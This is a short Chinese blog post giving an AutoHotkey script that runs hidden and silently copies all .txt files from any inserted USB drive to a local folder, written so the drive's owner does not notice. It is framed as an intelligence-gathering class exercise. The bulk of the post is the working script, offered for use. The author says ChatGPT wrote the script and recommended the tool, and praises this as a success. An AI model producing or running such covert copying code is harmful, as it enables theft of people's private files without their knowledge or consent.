Autohotkey实现对U盘文件的静默文件复制
最近上课在网络情报搜集的时候,想实现一个功能,在u盘插入电脑时,电脑对u盘内的文件进行静默复制,用户没用察觉的时候将文件复制到指定位置。
一、工具
使用autohotkey工具,下载地址https://www.autohotkey.com/
下载后安装到需要的位置。
二、代码
编写脚本:
USB_Drive := "E:\" ; 修改为你的 U 盘路径 AHK_Docs_Path := A_MyDocuments . "\AutoHotkey" ; 获取 AutoHotkey 文档路径 FileCreateDir, %USB_Drive% Loop { DriveGet, USB_Drive_Status, Status, %USB_Drive% if USB_Drive_Status = READY { Loop, %USB_Drive%\*.txt; 这里的后缀名就是想要复制的文件类型 { FileCopy, %A_LoopFileFullPath%, %AHK_Docs_Path%\%A_LoopFileName% ; MsgBox, 0, 完成, 已将 %A_LoopFileName% 复制到 AutoHotkey 文档路径 } break } Sleep, 1000 ; 检测间隔时间(毫秒) }
三、执行过程
双击脚本,就可以运行,但是前台是看不见的,当u盘插入的时候,就会自动把txt后缀的文件全部复制到指定位置。
四、后记
这段代码神奇的地方在于,这不是我写的,是chatgpt写的,并且,工具也是它推荐的,点一次运行成功,简直是震惊,让我对大语言模型产生极大好感。